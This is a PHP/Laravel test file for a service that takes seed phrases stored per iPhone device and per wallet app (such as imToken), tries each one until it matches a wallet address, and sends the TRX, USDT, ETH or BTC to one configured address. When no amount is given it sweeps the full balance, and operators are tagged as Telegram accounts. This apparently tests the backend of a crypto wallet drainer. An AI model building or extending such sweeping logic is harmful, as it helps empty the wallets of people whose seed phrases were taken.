390 lines
13 KiB
PHP
390 lines
13 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\TransferRecord;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\TransferService;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Http;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class TransferServiceTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
|
|
private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
|
|
|
private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
|
|
|
private const SOURCE = 'imToken';
|
|
|
|
protected function setUp(): void
|
|
{
|
|
parent::setUp();
|
|
config([
|
|
'coruna.transfer.to_address' => self::TO,
|
|
'coruna.transfer.max_derive_index' => 5,
|
|
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
|
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
|
'coruna.transfer.max_usdt' => '0',
|
|
'coruna.transfer.max_trx' => '0',
|
|
]);
|
|
}
|
|
|
|
private function seedFromWallet(?string $mnemonic = self::MNEMONIC, string $source = self::SOURCE): Device
|
|
{
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-transfer-1',
|
|
'ios_version' => '18.0',
|
|
'device_model' => 'iPhone',
|
|
]);
|
|
|
|
WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => self::FROM,
|
|
'chain_type' => 'TRON',
|
|
'source' => $source,
|
|
'monitor' => 0,
|
|
]);
|
|
|
|
if ($mnemonic !== null) {
|
|
$row = new WalletMnemonic([
|
|
'device_id' => $device->id,
|
|
'source' => $source,
|
|
]);
|
|
$row->mnemonic = $mnemonic;
|
|
$row->save();
|
|
}
|
|
|
|
return $device;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $extra
|
|
*/
|
|
private function fakeTronHttp(array $extra = [], int $trxSun = 100_000_000): void
|
|
{
|
|
Http::fake(array_merge([
|
|
'*/wallet/getaccount' => Http::response([
|
|
'balance' => $trxSun,
|
|
], 200),
|
|
], $extra));
|
|
}
|
|
|
|
#[Test]
|
|
public function sends_native_trx_via_trongrid_http(): void
|
|
{
|
|
$this->seedFromWallet();
|
|
|
|
$this->fakeTronHttp([
|
|
'*/wallet/createtransaction' => Http::response([
|
|
'txID' => str_repeat('ab', 32),
|
|
'raw_data' => ['contract' => []],
|
|
'raw_data_hex' => '0a00',
|
|
], 200),
|
|
'*/wallet/broadcasttransaction' => Http::response([
|
|
'result' => true,
|
|
'txid' => str_repeat('ab', 32),
|
|
], 200),
|
|
]);
|
|
|
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops');
|
|
|
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
|
$this->assertSame(str_repeat('ab', 32), $result['txid']);
|
|
$this->assertSame(self::FROM, $result['from']);
|
|
$this->assertSame(self::TO, $result['to']);
|
|
|
|
$this->assertDatabaseHas('transfer_records', [
|
|
'from_address' => self::FROM,
|
|
'to_address' => self::TO,
|
|
'chain' => 'tron',
|
|
'tx_hash' => str_repeat('ab', 32),
|
|
'amount' => '1.5',
|
|
'type' => TransferRecord::TYPE_OUT,
|
|
'asset' => 'TRX',
|
|
'operator' => 'telegram:1@ops',
|
|
'status' => TransferRecord::STATUS_SUCCESS,
|
|
]);
|
|
|
|
Http::assertSent(function ($request) {
|
|
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
|
return false;
|
|
}
|
|
$data = $request->data();
|
|
|
|
return ($data['owner_address'] ?? null) === self::FROM
|
|
&& ($data['to_address'] ?? null) === self::TO
|
|
&& ($data['amount'] ?? null) === 1500000
|
|
&& ($data['visible'] ?? null) === true;
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function sends_usdt_trc20_via_triggersmartcontract(): void
|
|
{
|
|
$this->seedFromWallet();
|
|
|
|
$this->fakeTronHttp([
|
|
'*/wallet/triggersmartcontract' => Http::response([
|
|
'result' => ['result' => true],
|
|
'transaction' => [
|
|
'txID' => str_repeat('cd', 32),
|
|
'raw_data' => ['contract' => []],
|
|
'raw_data_hex' => '0a00',
|
|
],
|
|
], 200),
|
|
'*/wallet/broadcasttransaction' => Http::response([
|
|
'result' => true,
|
|
], 200),
|
|
]);
|
|
|
|
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
|
|
|
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
|
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
|
Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract'));
|
|
}
|
|
|
|
#[Test]
|
|
public function tries_mnemonics_in_order_until_address_matches(): void
|
|
{
|
|
$device = $this->seedFromWallet(null);
|
|
$wrong = new WalletMnemonic([
|
|
'device_id' => $device->id,
|
|
'source' => self::SOURCE,
|
|
]);
|
|
$wrong->mnemonic = 'legal winner thank year wave sausage worth useful legal winner thank yellow';
|
|
$wrong->save();
|
|
|
|
$right = new WalletMnemonic([
|
|
'device_id' => $device->id,
|
|
'source' => self::SOURCE,
|
|
]);
|
|
$right->mnemonic = self::MNEMONIC;
|
|
$right->save();
|
|
|
|
$this->fakeTronHttp([
|
|
'*/wallet/createtransaction' => Http::response([
|
|
'txID' => str_repeat('ef', 32),
|
|
'raw_data' => ['contract' => []],
|
|
'raw_data_hex' => '0a00',
|
|
], 200),
|
|
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
|
]);
|
|
|
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
|
|
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
|
$this->assertSame(str_repeat('ef', 32), $result['txid']);
|
|
}
|
|
|
|
#[Test]
|
|
public function rejects_when_to_address_missing(): void
|
|
{
|
|
config(['coruna.transfer.to_address' => '']);
|
|
$this->seedFromWallet();
|
|
|
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'telegram:9');
|
|
|
|
$this->assertFalse($result['ok']);
|
|
$this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']);
|
|
|
|
$this->assertDatabaseHas('transfer_records', [
|
|
'from_address' => self::FROM,
|
|
'to_address' => null,
|
|
'chain' => 'tron',
|
|
'asset' => 'TRX',
|
|
'operator' => 'telegram:9',
|
|
'status' => TransferRecord::STATUS_FAILED,
|
|
'error' => 'TRANSFER_TO_ADDRESS is not configured',
|
|
]);
|
|
}
|
|
|
|
#[Test]
|
|
public function rejects_when_no_matching_mnemonic(): void
|
|
{
|
|
$this->seedFromWallet(null);
|
|
|
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
|
|
|
$this->assertFalse($result['ok']);
|
|
$this->assertStringContainsString('No mnemonic', $result['error']);
|
|
}
|
|
|
|
#[Test]
|
|
public function enforces_max_usdt_limit(): void
|
|
{
|
|
$this->seedFromWallet();
|
|
config(['coruna.transfer.max_usdt' => '5']);
|
|
|
|
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
|
|
|
|
$this->assertFalse($result['ok']);
|
|
$this->assertStringContainsString('exceeds max', $result['error']);
|
|
}
|
|
|
|
#[Test]
|
|
public function omits_amount_transfers_full_usdt_balance(): void
|
|
{
|
|
$this->seedFromWallet();
|
|
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
|
|
|
$this->fakeTronHttp([
|
|
'*/wallet/triggerconstantcontract' => Http::response([
|
|
'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
|
|
], 200),
|
|
'*/wallet/triggersmartcontract' => Http::response([
|
|
'result' => ['result' => true],
|
|
'transaction' => [
|
|
'txID' => str_repeat('11', 32),
|
|
'raw_data' => ['contract' => []],
|
|
'raw_data_hex' => '0a00',
|
|
],
|
|
], 200),
|
|
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
|
]);
|
|
|
|
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT');
|
|
|
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
|
$this->assertSame('12.5', $result['amount']);
|
|
$this->assertSame('USDT', $result['asset']);
|
|
}
|
|
|
|
#[Test]
|
|
public function omits_amount_transfers_trx_minus_fee_reserve(): void
|
|
{
|
|
$this->seedFromWallet();
|
|
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
|
|
|
// 25 TRX (>= fee topup target) so top-up is skipped; reserve leaves 24.
|
|
$this->fakeTronHttp([
|
|
'*/wallet/createtransaction' => Http::response([
|
|
'txID' => str_repeat('22', 32),
|
|
'raw_data' => ['contract' => []],
|
|
'raw_data_hex' => '0a00',
|
|
], 200),
|
|
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
|
], 25_000_000);
|
|
|
|
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX');
|
|
|
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
|
$this->assertSame('24', $result['amount']);
|
|
|
|
Http::assertSent(function ($request) {
|
|
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
|
return false;
|
|
}
|
|
|
|
return ($request->data()['amount'] ?? null) === 24_000_000;
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function sends_native_eth_via_json_rpc(): void
|
|
{
|
|
$from = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
|
$to = '0x0000000000000000000000000000000000000001';
|
|
config([
|
|
'coruna.transfer.to_address_eth' => $to,
|
|
'coruna.eth.rpc_url' => 'https://ethereum.publicnode.com',
|
|
'coruna.eth.chain_id' => 1,
|
|
]);
|
|
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-transfer-eth',
|
|
'ios_version' => '18.0',
|
|
'device_model' => 'iPhone',
|
|
]);
|
|
WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => $from,
|
|
'chain_type' => 'ETH',
|
|
'source' => self::SOURCE,
|
|
'monitor' => 0,
|
|
]);
|
|
$row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
|
|
$row->mnemonic = self::MNEMONIC;
|
|
$row->save();
|
|
|
|
Http::fake([
|
|
'https://ethereum.publicnode.com' => Http::sequence()
|
|
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1'], 200) // nonce
|
|
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x3b9aca00'], 200) // gasPrice
|
|
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x'.str_repeat('ab', 32)], 200), // send
|
|
]);
|
|
|
|
$result = app(TransferService::class)->handle('eth', $from, '0.01', 'ETH', 'telegram:1@ops');
|
|
|
|
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
|
$this->assertSame('0x'.str_repeat('ab', 32), $result['txid']);
|
|
$this->assertSame($to, $result['to']);
|
|
$this->assertDatabaseHas('transfer_records', [
|
|
'from_address' => $from,
|
|
'chain' => 'eth',
|
|
'asset' => 'ETH',
|
|
'status' => TransferRecord::STATUS_SUCCESS,
|
|
]);
|
|
}
|
|
|
|
#[Test]
|
|
public function sends_native_btc_via_mempool_api(): void
|
|
{
|
|
$from = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';
|
|
$to = '1Ak8PffB2meyfYnbXZR9EGfLfFZVpzJvQP';
|
|
config([
|
|
'coruna.transfer.to_address_btc' => $to,
|
|
'coruna.btc.api_url' => 'https://mempool.space/api',
|
|
'coruna.btc.fee_rate' => 1,
|
|
]);
|
|
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-transfer-btc',
|
|
'ios_version' => '18.0',
|
|
'device_model' => 'iPhone',
|
|
]);
|
|
WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => $from,
|
|
'chain_type' => 'BTC',
|
|
'source' => self::SOURCE,
|
|
'monitor' => 0,
|
|
]);
|
|
$row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
|
|
$row->mnemonic = self::MNEMONIC;
|
|
$row->save();
|
|
|
|
$txid = str_repeat('11', 32);
|
|
Http::fake([
|
|
'https://mempool.space/api/address/*/utxo' => Http::response([
|
|
[
|
|
'txid' => $txid,
|
|
'vout' => 0,
|
|
'value' => 100_000,
|
|
'status' => ['confirmed' => true],
|
|
],
|
|
], 200),
|
|
'https://mempool.space/api/tx' => Http::response(str_repeat('cd', 32), 200),
|
|
]);
|
|
|
|
$result = app(TransferService::class)->handle('btc', $from, '0.0005', 'BTC');
|
|
|
|
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
|
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
|
$this->assertDatabaseHas('transfer_records', [
|
|
'from_address' => $from,
|
|
'chain' => 'btc',
|
|
'asset' => 'BTC',
|
|
'status' => TransferRecord::STATUS_SUCCESS,
|
|
]);
|
|
}
|
|
}
|